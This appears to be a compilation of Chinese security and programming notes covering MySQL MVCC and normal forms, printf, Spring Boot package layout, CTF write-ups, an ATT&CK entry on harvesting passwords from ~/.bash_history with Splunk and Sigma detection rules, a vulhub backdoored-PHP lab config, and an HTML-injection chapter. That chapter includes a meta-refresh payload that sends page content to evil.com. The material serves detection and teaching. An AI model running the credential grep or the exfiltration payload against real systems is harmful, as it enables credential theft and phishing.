规定只能读取已经提交的快照。当然一个事务可以读取自身未提交的快照,这不算是脏读。 ### 版本号 - 系统版本号 SYS_ID:是一个递增的数字,每开始一个新的事务,系统版本号就会自动递增。 - 事务版本号 TRX_ID :事务开始时的系统版本号。 ### Undo 日志 MVCC 的多版本指的是多个版本的快照,快照存储在 Undo 日志中,该日志通过回滚指针 ROLL_PTR 把一个数据行的所有快照连接起来。 例如在 MySQL 创建一个表 t,包含主键 id 和一个字段 x。我们先插入一个数据行,然后对该数据行执行两次更新操作。 ```sql INSERT INTO t(id, x) VALUES(1, "a"); UPDATE t SET x="b" WHERE id=1; UPDATE t SET x="c" WHERE id=1; ``` 因为没有使用 `START TRANSACTION` 将上面的操作当成一个事务来执行,根据 MySQL 的 AUTOCOMMIT 机制,每个操作都会被当成一个事务来执行,所以上面的操作总共涉及到三个事务。快照中除了记录事务版本号 TRX_ID 和操作之外,还记录了一个 bit 的 DEL 字段,用于标记是否被删除。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208164808217.png"/> </div><br> INSERT、UPDATE、DELETE 操作会创建一个日志,并将事务版本号 TRX_ID 写入。DELETE 可以看成是一个特殊的 UPDATE,还会额外将 DEL 字段设置为 1。 ### ReadView MVCC 维护了一个 ReadView 结构,主要包含了当前系统未提交的事务列表 TRX_IDs {TRX_ID_1, TRX_ID_2, ...},还有该列表的最小值 TRX_ID_MIN 和 TRX_ID_MAX。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208171445674.png"/> </div><br> 在进行 SELECT 操作时,根据数据行快照的 TRX_ID 与 TRX_ID_MIN 和 TRX_ID_MAX 之间的关系,从而判断数据行快照是否可以使用: - TRX_ID \< TRX_ID_MIN,表示该数据行快照时在当前所有未提交事务之前进行更改的,因此可以使用。 - TRX_ID \> TRX_ID_MAX,表示该数据行快照是在事务启动之后被更改的,因此不可使用。 - TRX_ID_MIN \<= TRX_ID \<= TRX_ID_MAX,需要根据隔离级别再进行判断: - 提交读:如果 TRX_ID 在 TRX_IDs 列表中,表示该数据行快照对应的事务还未提交,则该快照不可使用。否则表示已经提交,可以使用。 - 可重复读:都不可以使用。因为如果可以使用的话,那么其它事务也可以读到这个数据行快照并进行修改,那么当前事务再去读这个数据行得到的值就会发生改变,也就是出现了不可重复读问题。 在数据行快照不可使用的情况下,需要沿着 Undo Log 的回滚指针 ROLL_PTR 找到下一个快照,再进行上面的判断。 ### 快照读与当前读 #### 1. 快照读 MVCC 的 SELECT 操作是快照中的数据,不需要进行加锁操作。 ```sql SELECT * FROM table ...; ``` #### 2. 当前读 MVCC 其它会对数据库进行修改的操作(INSERT、UPDATE、DELETE)需要进行加锁操作,从而读取最新的数据。可以看到 MVCC 并不是完全不用加锁,而只是避免了 SELECT 的加锁操作。 ```sql INSERT; UPDATE; DELETE; ``` 在进行 SELECT 操作时,可以强制指定进行加锁操作。以下第一个语句需要加 S 锁,第二个需要加 X 锁。 ```sql SELECT * FROM table WHERE ? lock in share mode; SELECT * FROM table WHERE ? for update; ``` ## 六、Next-Key Locks Next-Key Locks 是 MySQL 的 InnoDB 存储引擎的一种锁实现。 MVCC 不能解决幻影读问题,Next-Key Locks 就是为了解决这个问题而存在的。在可重复读(REPEATABLE READ)隔离级别下,使用 MVCC + Next-Key Locks 可以解决幻读问题。 ### Record Locks 锁定一个记录上的索引,而不是记录本身。 如果表没有设置索引,InnoDB 会自动在主键上创建隐藏的聚簇索引,因此 Record Locks 依然可以使用。 ### Gap Locks 锁定索引之间的间隙,但是不包含索引本身。例如当一个事务执行以下语句,其它事务就不能在 t.c 中插入 15。 ```sql SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE; ``` ### Next-Key Locks 它是 Record Locks 和 Gap Locks 的结合,不仅锁定一个记录上的索引,也锁定索引之间的间隙。它锁定一个前开后闭区间,例如一个索引包含以下值:10, 11, 13, and 20,那么就需要锁定以下区间: ```sql (-∞, 10] (10, 11] (11, 13] (13, 20] (20, +∞) ``` ## 七、关系数据库设计理论 ### 函数依赖 记 A-\>B 表示 A 函数决定 B,也可以说 B 函数依赖于 A。 如果 {A1,A2,... ,An} 是关系的一个或多个属性的集合,该集合函数决定了关系的其它所有属性并且是最小的,那么该集合就称为键码。 对于 A-\>B,如果能找到 A 的真子集 A',使得 A'-\> B,那么 A-\>B 就是部分函数依赖,否则就是完全函数依赖。 对于 A-\>B,B-\>C,则 A-\>C 是一个传递函数依赖。 ### 异常 以下的学生课程关系的函数依赖为 {Sno, Cname} -\> {Sname, Sdept, Mname, Grade},键码为 {Sno, Cname}。也就是说,确定学生和课程之后,就能确定其它信息。 | Sno | Sname | Sdept | Mname | Cname | Grade | | :---: | :---: | :---: | :---: | :---: |:---:| | 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 | | 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 | | 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 | | 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 | 不符合范式的关系,会产生很多异常,主要有以下四种异常: - 冗余数据:例如 `学生-2` 出现了两次。 - 修改异常:修改了一个记录中的信息,但是另一个记录中相同的信息却没有被修改。 - 删除异常:删除一个信息,那么也会丢失其它信息。例如删除了 `课程-1` 需要删除第一行和第三行,那么 `学生-1` 的信息就会丢失。 - 插入异常:例如想要插入一个学生的信息,如果这个学生还没选课,那么就无法插入。 ### 范式 范式理论是为了解决以上提到四种异常。 高级别范式的依赖于低级别的范式,1NF 是最低级别的范式。 #### 1. 第一范式 (1NF) 属性不可分。 #### 2. 第二范式 (2NF) 每个非主属性完全函数依赖于键码。 可以通过分解来满足。 <font size=4> **分解前** </font><br> | Sno | Sname | Sdept | Mname | Cname | Grade | | :---: | :---: | :---: | :---: | :---: |:---:| | 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 | | 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 | | 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 | | 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 | 以上学生课程关系中,{Sno, Cname} 为键码,有如下函数依赖: - Sno -\> Sname, Sdept - Sdept -\> Mname - Sno, Cname-\> Grade Grade 完全函数依赖于键码,它没有任何冗余数据,每个学生的每门课都有特定的成绩。 Sname, Sdept 和 Mname 都部分依赖于键码,当一个学生选修了多门课时,这些数据就会出现多次,造成大量冗余数据。 <font size=4> **分解后** </font><br> 关系-1 | Sno | Sname | Sdept | Mname | | :---: | :---: | :---: | :---: | | 1 | 学生-1 | 学院-1 | 院长-1 | | 2 | 学生-2 | 学院-2 | 院长-2 | | 3 | 学生-3 | 学院-2 | 院长-2 | 有以下函数依赖: - Sno -\> Sname, Sdept - Sdept -\> Mname 关系-2 | Sno | Cname | Grade | | :---: | :---: |:---:| | 1 | 课程-1 | 90 | | 2 | 课程-2 | 80 | | 2 | 课程-1 | 100 | | 3 | 课程-2 | 95 | 有以下函数依赖: - Sno, Cname -\> Grade #### 3. 第三范式 (3NF) 非主属性不传递函数依赖于键码。 上面的 关系-1 中存在以下传递函数依赖: - Sno -\> Sdept -\> Mname 可以进行以下分解: 关系-11 | Sno | Sname | Sdept | | :---: | :---: | :---: | | 1 | 学生-1 | 学院-1 | | 2 | 学生-2 | 学院-2 | | 3 | 学生-3 | 学院-2 | 关系-12 | Sdept | Mname | | :---: | :---: | | 学院-1 | 院长-1 | | 学院-2 | 院长-2 | ## 八、ER 图 Entity-Relationship,有三个组成部分:实体、属性、联系。 用来进行关系型数据库系统的概念设计。 ### 实体的三种联系 包含一对一,一对多,多对多三种。 - 如果 A 到 B 是一对多关系,那么画个带箭头的线段指向 B; - 如果是一对一,画两个带箭头的线段; - 如果是多对多,画两个不带箭头的线段。 下图的 Course 和 Student 是一对多的关系。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1d28ad05-39e5-49a2-a6a1-a6f496adba6a.png" width="380px"/> </div><br> ### 表示出现多次的关系 一个实体在联系出现几次,就要用几条线连接。 下图表示一个课程的先修关系,先修关系出现两个 Course 实体,第一个是先修课程,后一个是后修课程,因此需要用两条线来表示这种关系。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ac929ea3-daca-40ec-9e95-4b2fa6678243.png" width="250px"/> </div><br> ### 联系的多向性 虽然老师可以开设多门课,并且可以教授多名学生,但是对于特定的学生和课程,只有一个老师教授,这就构成了一个三元联系。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/5bb1b38a-527e-4802-a385-267dadbd30ba.png" width="350px"/> </div><br> ### 表示子类 用一个三角形和两条线来连接类和子类,与子类有关的属性和联系都连到子类上,而与父类和子类都有关的连到父类上。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/14389ea4-8d96-4e96-9f76-564ca3324c1e.png" width="450px"/> </div><br> ## 参考资料 - AbrahamSilberschatz, HenryF.Korth, S.Sudarshan, 等. 数据库系统概念 [M]. 机械工业出版社, 2006. - 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013. - 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006. - [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html) - [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels) - [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol) - [The Nightmare of Locking, Blocking and Isolation Levels!](https://www.slideshare.net/brshristov/the-nightmare-of-locking-blocking-and-isolation-levels-46391666) - [Database Normalization and Normal Forms with an Example](https://aksakalli.github.io/2012/03/12/database-normalization-and-normal-forms-with-an-example.html) - [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/) - [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/) - [浅入浅出 MySQL 和 InnoDB](https://draveness.me/mysql-innodb) - [Innodb 中的事务隔离级别和锁的关系](https://tech.meituan.com/2014/08/20/innodb-lock.html)
sec-knowleage
# T1552-003-linux-Bash历史记录 ## 来自ATT&CK的描述 Bash使用“history”实用程序跟踪用户在命令行上键入的命令。用户注销后,会将历史记录刷新到用户的`.bash_history`文件中。对于每个用户,此文件位于同一位置:`~/.bash_history`。通常,此文件会跟踪用户的最近500个命令。用户通常在命令行上键入用户名和密码作为程序的参数,然后在注销时将其保存到此文件中。攻击者可以通过滥用此功能来查看文件来查看潜在凭据。 ## 测试案例 cat #{bash历史命令名字} | grep #{bash历史命令关键词检索} > #{输出文件名} sudo cat ~/.bash_history | grep password > bash.txt ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) bash历史记录 ## 测试复现 icbc@icbc:/$ sudo cat ~/.bash_history | grep password > bash.txt ## 测试留痕 ### audit日志 ```bash icbc@icbc:/$ sudo cat ~/.bash_history | grep password > bash.txt type=PATH msg=audit(1563528127.048:1097): item=0 name="/usr/bin/cat" inode=2228383 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 type=PATH msg=audit(1563528127.048:1097): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=2237074 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 type=PROCTITLE msg=audit(1563528127.048:1097): proctitle=636174002F726F6F742F2E626173685F686973746F7279 type=SYSCALL msg=audit(1563528127.056:1099): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd4ebbb73b a2=0 a3=0 items=1 ppid=5249 pid=5258 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=3 comm="cat" exe="/usr/bin/cat" key="bash_history_110" type=CWD msg=audit(1563528127.056:1099): cwd="/root" ``` 值得注意的是:这里只提取出了异常日志,故省略了很多日志细节。 ### bash历史记录 ```bash icbc@icbc:/$ history 1 sudo cat ~/.bash_history | grep password > bash.txt ``` ## 检测规则/思路 ### splunk规则 audit 日志 ```yml index=linux sourcetype="linux_audit" syscall=257 key=bash_history_110 | table host,auid,syscall,syscall_name,exe ``` 值得注意的是:你需要自行配置Audit审核规则 ```history sudo auditctl -w ~/.bash_history -k bash_history_110 ``` ### splunk规则 bash 历史记录 ```yml index=linux sourcetype=bash_history cat bash_history | table _time,host,user_name,bash_command ``` ### sigma规则 ```yml title: 攻击者读取linux下~/.bash_history文件,查看是否包含相关凭据密码 description: Ubuntu18.04 references: https://github.com/12306Bro/Threat-hunting/blob/master/T1139-linux-Bash历史记录.md tags: T1552-003 status: experimental author: 12306Bro logsource: ​ product: linux ​ service: audit detection: ​ keywords: ​ - syscall=257 key=bash_history_110 ​ condition: keywords ---------------------------------------------------------------------------------------- logsource: ​ product: linux ​ service: history detection: ​ selection: ​ keywords: ​ - cat bash_history ​ condition: keywords level: medium ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1552-003 <https://attack.mitre.org/techniques/T1552/003/> Audit配置手册 <https://www.cnblogs.com/bldly1989/p/7204358.html>
sec-knowleage
# Adversarial (Misc/PPC) In the task we get the [source code](adversarial-public.py) of the scoring server. What it does it pretty straightforward: 1. Generate a matrix 100x1000 with random values from (-1,1) 2. Select a single row in this matrix Our goal is to provide a vector of 100 values from range (-1,1) for which the `1 - get_probability(x)` function calculated on the dot product between our vector and the selected matrix row will be < 0.001 The `get_probability` function is simply: ```python def get_probability(z): return 1./(1+np.exp(-(z))) ``` It's easy to see that in order to get a small final result we need `get_probability` to return a value close to 1. This implies that we need `e^-z` to be as small as possible, and therefore we want `z` to be as large as possible. As mentioned above `z` here is just a dot product between selected matrix row and vector we supply. Dot product is simply a sum of multiplied corresponding vector coordinates, eg. `[1,2,3] * [4,5,6] = 1*4+2*5+3*6` It's rather trivial to figure out that in order to get the highest possible result we simply need to multiply all negative values by -1 and all positive values by 1: ```python def solve(feats): return [-1 if feats[i] < 0 else 1 for i in range(len(feats))] ``` Whole solver available [here](solver.py)
sec-knowleage
printf === 格式化并输出结果。 ## 目录 - [bash内建命令](#内建命令) - [GNU coreutils中的命令](#外部命令) ## 内建命令 #### 概要 ```shell printf [-v var] format [arguments] ``` #### 主要用途 - 格式化参数并输出。 #### 选项 ```shell -v var:将结果输出到变量var中而不是输出到标准输出。 ``` #### 参数 format:输出格式。 arguments:一到多个参数。 ```shell 转义序列:除了支持printf(1)和printf(3)的转义序列,内建printf还支持以下转义序列: %b 展开参数中的反斜杠转义字符。 %q 将参数扩起以用作shell输入。 %(fmt)T 根据strftime(3)中的转义字符来输出日期时间字符串。 ``` #### 返回值 返回状态为成功除非给出了非法选项、写错误、赋值错误。 #### 例子 ```shell # %-5s 格式为左对齐且宽度为5的字符串代替('-'表示左对齐),不使用则默认右对齐。 # %-4.2f 格式为左对齐宽度为4,保留两位小数。 printf "%-5s %-10s %-4s\n" NO Name Mark printf "%-5s %-10s %-4.2f\n" 01 Tom 90.3456 printf "%-5s %-10s %-4.2f\n" 02 Jack 89.2345 printf "%-5s %-10s %-4.2f\n" 03 Jeff 98.4323 # 输出 NO Name Mark 01 Tom 90.35 02 Jack 89.23 03 Jeff 98.43 # %b %q %(fmt)T 的例子。 # see it again with a newline. printf "%s\n" 'hello world' # 展开换行符,和上面的结果一样。 printf "%b" 'hello world\n' printf '%q\n' 'a b c' # 输出 a\ b\ c # %z为时区,%n为换行符。 printf "%(%F %T %z%n)T" # 输出 2019-09-10 01:48:07 +0000 ``` #### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 ## 外部命令 #### 概要 ```shell printf FORMAT [ARGUMENT]... printf OPTION ``` #### 主要用途 - 格式化参数并输出。 #### 选项 ```shell --help 显示帮助信息并退出。 --version 显示版本信息并退出。 ``` #### 参数 format:输出格式。 arguments:一到多个参数。 ```shell 在这里忽略了(%b %q),如果你安装的coreutils版本支持它们,那么请参考上面的例子。 支持的转义序列: \" 双引号 \\ 反斜杠 \a 响铃 \b 退格 \c 截断输出 \e 退出 \f 翻页 \n 换行 \r 回车 \t 水平制表符 \v 竖直制表符 \NNN 八进制数 (1到3位数字) \xHH 十六进制数 (1到2位数字) \uHHHH Unicode字符附加4位十六进制数字 \UHHHHHHHH Unicode字符附加8位十六进制数字 %% 百分号 以及'diouxXfeEgGcs'中的一个结尾的C格式规范,将被转换为正确的类型并处理可变宽度。 ``` #### 例子 ```shell # 使用 /usr/bin/printf 确保调用的不是内建命令。 # 当然,在你关闭内建printf以及确认当前环境没有printf函数的情况下,可直接使用printf,详见末尾"注意"的链接。 # 按行打印数组和关联数组的下标及值。 # 声明数组可以不加'declare -a'或'local -a'(在函数内声明的局部变量)。 arr=('line1' 'line2') /usr/bin/printf "%s\n" ${!arr[@]} # 输出下标 0 1 /usr/bin/printf "%s\n" ${arr[@]} # 输出值 line1 line2 #声明关联数组(也就是字典)必须加'declare -A'或'local -A'(在函数内声明的局部变量)。 declare -A assoc_arr=(['key1']='value1' ['key2']='value2') /usr/bin/printf "%s\n" ${!assoc_arr[@]} # 输出键。 key2 key1 /usr/bin/printf "%s\n" ${assoc_arr[@]} # 输出值。 value2 value1 ``` #### 返回值 返回状态为成功除非给出了非法选项等。 #### 注意 1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 printf`或`info coreutils 'pwd invocation'`。 2. 启动或关闭内建命令请查看`enable`命令,关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。 3. 我通过和`bug-bash@gnu.org`的交流,得到了关于这几个格式说明符`%b %q %(fmt)T`的解释: > printf(1)中的%b格式说明符是printf(3)支持的格式之外增加的一个POSIX特性。 > > %q和%T说明符是非标准的,并且不受所有独立实现的printf的支持。 更多细节请参考链接: - [POSIX printf](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/printf.html) `APPLICATION USAGE`段落的第五节。 - [POSIX printf格式说明符](https://pubs.opengroup.org/onlinepubs/9699919799/functions/printf.html) 的`Description`段落。
sec-knowleage
version: '2' services: web: image: vulhub/php:8.1-backdoor volumes: - ./index.php:/var/www/html/index.php ports: - "8080:80"
sec-knowleage
# 工程结构推荐 --- Spring Boot 框架本身并没有对工程结构有特别的要求,但是按照最佳实践的工程结构可以帮助我们减少可能会遇见的坑,尤其是 Spring 包扫描机制的存在,如果您使用最佳实践的工程结构,可以免去不少特殊的配置工作。 ## 典型示例 以下结构是比较推荐的 package 组织方式: ``` com +- example +- myproject +- Application.java | +- domain | +- Customer.java | +- CustomerRepository.java | +- service | +- CustomerService.java | +- web | +- CustomerController.java | ``` - root package:com.example.myproject,所有的类和其他 package 都在 root package 之下。 - 应用主类:Application.java,该类直接位于 root package 下。通常我们会在应用主类中做一些框架配置扫描等配置,我们放在 root package 下可以帮助程序减少手工配置来加载到我们希望被 Spring 加载的内容 - com.example.myproject.domain 包:用于定义实体映射关系与数据访问相关的接口和实现 - com.example.myproject.service 包:用于编写业务逻辑相关的接口与实现 - com.example.myproject.web:用于编写 Web 层相关的实现,比如:Spring MVC 的 Controller 等 上面的结构中,root package 与应用主类的位置是整个结构的关键。由于应用主类在 root package 中,所以按照上面的规则定义的所有其他类都处于 root package 下的其他子包之后。默认情况下,Spring Boot 的应用主类会自动扫描 root package 以及所有子包下的所有类来进行初始化。 举个例子,假设我们将 com.example.myproject.web 包与上面所述的 root package:com.example.myproject 放在同一级,像下面这样: ``` com +- example +- myproject +- Application.java | +- domain | +- Customer.java | +- CustomerRepository.java | +- service | +- CustomerService.java | +- web | +- CustomerController.java | ``` 这个时候,应用主类 Application.java 在默认情况下就无法扫描到 com.example.myproject.web 中的 Controller 定义,就无法初始化 Controller 中定义的接口。 ## 非典型结构下的初始化 那么如果,我们一定要加载非 root package 下的内容怎么办呢? 方法一:使用 @ComponentScan 注解指定具体的加载包,比如: ```java @SpringBootApplication @ComponentScan(basePackages="com.example") public class Bootstrap { public static void main(String[] args) { SpringApplication.run(Bootstrap.class, args); } } ``` 这种方法通过注解直接指定要扫描的包,比较直观。如果有这样的需求也是可以用的,但是原则上还是推荐以上面的典型结构来定义,这样也可以少写一些注解,代码更加简洁。 方法二:使用 @Bean 注解来初始化,比如: ```java @SpringBootApplication public class Bootstrap { public static void main(String[] args) { SpringApplication.run(Bootstrap.class, args); } @Bean public CustomerController customerController() { return new CustomerController(); } } ``` --- ## Source & Reference - [Spring Boot 2.x基础教程:工程结构推荐](https://blog.didispace.com/spring-boot-learning-21-1-2/)
sec-knowleage
import gdb import codecs import string flag = [] gdb.execute("break *0x4009dc") gdb.execute("r <<< $(echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')") for i in range(28): for i in range(2): gdb.execute("n") addr = int(str(gdb.parse_and_eval("$eax")),16) for i in range(2): gdb.execute("n") value = chr(int(str(gdb.parse_and_eval("$eax")),16)) flag.append((addr, value)) gdb.execute("set $dl = $al") for i in range(2): gdb.execute("n") gdb.execute("c") flag = sorted(flag, key=lambda x: x[0]) print("".join([c[1] for c in flag]))
sec-knowleage
# 五、HTML 注入 > 作者:Peter Yaworski > 译者:[飞龙](https://github.com/) > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) ## 描述 超文本标记语言(HTML)注入有时也被称为虚拟污染。 这实际上是一个由站点造成的攻击,该站点允许恶意用户向其 Web 页面注入 HTML,并且没有合理处理用户输入。 换句话说,HTML 注入漏洞是由接收 HTML 引起的,通常通过一些之后会呈现在页面的表单输入。 这个漏洞是独立的,不同于注入 Javascript,VBscript 等。 由于 HTML 是用于定义网页结构的语言,如果攻击者可以注入 HTML,它们基本上可以改变浏览器呈现的内容。 有时,这可能会导致页面外观的完全改变,或在其他情况下,创建表单来欺骗用户,例如,如果你可以注入 HTML,你也许能够将 `<form>` 标签添加到页面,要求用户重新输入他们的用户名和密码。 然而,当提交此表单时,它实际上将信息发送给攻击者。 ## 示例 ### 1\. Coinbase 评论 难度:低 URL:`coinbase.com/apps` 报告链接:`https://hackerone.com/reports/104543` 报告日期:2015.12.10 奖金:$200 描述: 对于此漏洞,报告者识别出 Coinbase 在呈现文本时,实际上在解码 URI 的编码值。 对于那些不熟悉它的人(我在写这篇文章的时候),URI 中的字符是保留的或未保留的。 根据维基百科,保留字是有时有特殊意义的字符,如`/`和`&`。 未保留的字符是没有任何特殊意义的字符,通常只是字母。 因此,当字符被 URI 编码时,它将按照 ASCII 转换为其字节值,并以百分号(`%`)开头。 所以,`/`变成`%2F`,`&`成为`%26`。 另外,ASCII 是一种在互联网上最常见的编码,直到 UTF-8 出现,它是另一种编码类型。 现在,回到我们的例子,如果攻击者输入 HTML: ```html <h1>This is a test</h1> ``` Coinbase 实际上会将其渲染为纯文本,就像你上面看到的那样。但是,如果用户提交了 URL 编码字符,像这样: ``` %3C%68%31%3E%54%68%69%73%20%69%73%20%61%20%74%65%73%74%3C%2F%68%31%3E ``` Coinbase 实际上会解码该字符串,并渲染相应的字符,像这样: ``` This is a test ``` 使用它,报告者演示了如何提交带有用户名和密码字段的 HTML 表单,Coinbase 会渲染他。如果这个用户是恶意的,Coinbase 就会渲染一个表单,它将值提交给恶意网站来捕获凭据(假设人们填充并提交了表单)。 > 重要结论 > 当你测试一个站点时,要检查它如何处理不同类型的输入,包括纯文本和编码文本。特别要注意一些接受 URI 编码值,例如`%2f`,并渲染其解码值的站点,这里是`/`。虽然我们不知道这个例子中,黑客在想什么,它们可能尝试了 URI 编码限制字符,并注意到 Coinbase 会解码它们。之后他们更一步 URL 编码了所有字符。 > <http://quick-encoder.com/url> 是一个不错的 URL 编码器。你在使用时会注意到,它告诉你非限制字符不需要编码,并且提供了编码 URL 安全字符的选项。这就是获取用于 COinbase 的相同编码字符串的方式。 ### 2\. HackerOne 无意识 HTML 包含 难度:中 URL:hackerone.com 报告链接:<https://hackerone.com/reports/112935> 报告日期:2016.1.26 奖金:$500 描述: 在读完 Yahoo XSS 的描述(第七章示例四),我对文本编辑器中的 HTML 渲染测试产生了兴趣。这包含玩转 HackerOne 的 Markdown 编辑器,在图像标签中输入一些类似`ismap= "yyy=xxx"`和`"'test"`的东西。这样做的时候,我注意到,编辑器会在双引号里面包含一个单引号 - 这叫做悬置引号。 那个时候,我并没有真正理解它的含义。我知道如果你在某个地方注入另一个单引号,两个引号就会被浏览器一起解析,浏览器会将它们之间的内容视为一个 HTML 元素,例如: ```html <h1>This is a test</h1><p class="some class">some content</p>' ``` 使用这个例子,如果你打算注入一个 Meta 标签: ```html <meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text= ``` 浏览器会提交两个引号之间的任何东西。现在,结果是,这个已经在 HackerOne 的 [#110578](https://hackerone.com/reports/110578) 报告中由 [intidc](https://hackerone.com/intidc) 公开。看到它公开之后,我有一点失望。 根据 HackerOne,它们依赖于 Redcarpet(一个用于 Markdown 处理的 Ruby 库)的实现,来转义任何 Markdown 输入的 HTML 输出,随后它会通过 React 组件的`dangerouslySetInnerHTML`直接传递给 HTML DOM(也就是页面)。此外,React 是一个 JavaScript 库,可用于动态更新 Web 页面的内容,而不需要重新加载页面。 DOM 指代用于有效 HTML 以及 格式良好的 XML 的应用程序接口。本质上,根据维基百科,DOM 是跨平台并且语言无关的约定,用于展示 HTML、XHTML 和 XMl 中的对象,并与其交互。 在 HackerOne 的实现中,它们并没有合理转义 HTML 输出,这会导致潜在的漏洞。现在,也就是说,查看披露,我觉得我应该测试一下心得代码。我返回并测试了这个: ```md [test](http://www.torontowebsitedeveloper.com "test ismap="alert xss" yyy="test"\ ") ``` 它会变成 ```html <a title="'test" ismap="alert xss" yyy="test" &#39; ref="http://www.toronotwebsi\ tedeveloper.com">test</a> ``` 你可以看到,我能够将一堆 HTML 注入到`<a>`标签中。所以,HackerOne 回滚了该修复版本,并重新开始转义单引号了。 > 重要结论 > 仅仅是代码被更新了,并不意味着一些东西修复了,而是还要测试一下。当部署了变更之后,同时意味着新的代码也可能存在漏洞。 > 此外,如果你觉得有什么不对,一定要深入挖掘。我知道一开始的尾后引号可能是个问题,但是我不知道如何利用它,所以我停止了。我本应该继续的。我实际上通过阅读 XSS Jigsaw 的 <blog.innerht.ml> 了解了 Meta 刷新利用(请见“资源”一张),但是这是后事了。 ### 3\. WithinSecurity 内容伪造 难度:低 URL:`withinsecurity.com/wp-login.php` 报告链接:`https://hackerone.com/reports/111094` 报告日期:2015.1.16 奖金:$250 描述: 虽然内容伪造实际上和 HTML 注入是不同的漏洞,我也将其包含在这里,因为它们拥有相似的本质,攻击者让一个站点渲染它们选择的内容。 WithinSecurity 构建在 WordPress 平台之上,它包含登录页面`withinsecurity.com/wp-login.php`(这个站点已经合并到了 HackerOne 的核心平台中)。攻击者注意到了在登录过程中,如果发生了错误,WithinSecurity 就会渲染`access_denied`,同时对应 URL 中的`error`参数: ``` https://withinsecurity.com/wp-login.php?error=access_denied ``` 注意到了这个,攻击者尝试修改`error`参数,并发现无论参数传递了什么值,都会被站点渲染为错误信息的一部分,并展示给用户。这里是所用的示例: ``` https://withinsecurity.com/wp-login.php?error=Your%20account%20has%20%hacked ``` ![](img/5-3-1.jpg) WithinSecurity 内容伪造 这里的关键是注意到 URL 中的参数在页面中渲染。虽然他们没有解释,我可以假设攻击者注意到了`access_denied`展示在了页面上,但是也包含在 URL 中。这里他们也报告了,漏洞也可以由一个简单的测试,修改`access_denied`参数来找到。 > 重要结论 > 时刻关注传递并且渲染为站点内容的 URL 参数。他们可能就是攻击者的机会,用于欺骗受害者来执行一些恶意动作。 ## 总结 HTML 注入向站点和开发者展示了漏洞,因为他可以用于误导用户,并且欺骗它们来提交一些敏感信息,或者浏览恶意网站。就像钓鱼攻击那样。 发现这些漏洞并不是通过仅仅提交 HTML,而是弄清楚站点如何渲染你的输入文本,像是 URI 编码的字符。而且,虽然内容伪造并不和 HTML 注入完全一样,它也是类似的,因为它涉及让一些输入在 HTML 页面中反映给受害者。攻击者应该仔细寻找机会,来操纵 URL 参数,并让它们在站点上渲染。
sec-knowleage
##Trivia 2 (Trivia/Recon, 200p) I love this song. What is my project ID? ###PL [ENG](#eng-version) Dostajemy plik mp3 (nie udostępnimy go bo był piracki...) oraz informacje, że flagą jest `project ID`. W pliku mp3 trafiamy na dość nietypowy dobór zdjęcia ustawionego jako okładka albumu. Po wyszukaniu tego zdjęcia przez tineye.com i google reverse image search trafiamy na githuba: https://github.com/UziTech którego właściciel ma to samo zdjecie w avatarze. Następnie spędziliśmy bardzo (!) dużo czasu testując różne możliwości dla flagi - nazwy projektów z githuba, ID projektów pobrane przez API i wiele innych możliwości. W końcu przeszukując zawartość plików w repozytorium w poszukiwaniu `project` oraz `id` trafiliśmy między innymi na plik: https://github.com/UziTech/NSF2SQL/blob/master/NSF2SQL/NSF2SQL.csproj a flagą okazało się pole `<ProjectGuid>` czyli `3AD3A009-FC65-4067-BFF1-6CE1378BA75A` ###ENG version We get mp3 file (not included since it was pirated...) and information that the flag is `project ID`. Inside the mp3 file we find a strange picture set as album cover. We look for the picture with tineye.com and google reverse image search and we find github: https://github.com/UziTech whose owner has the same picture in avatar. Next we spend a lot (!) of time trying to figure out what could be the flag - project names, project IDs taken from API, and many many more strange ideas. Finally while looking for `project` and `id` inside the files in repository we found the file: 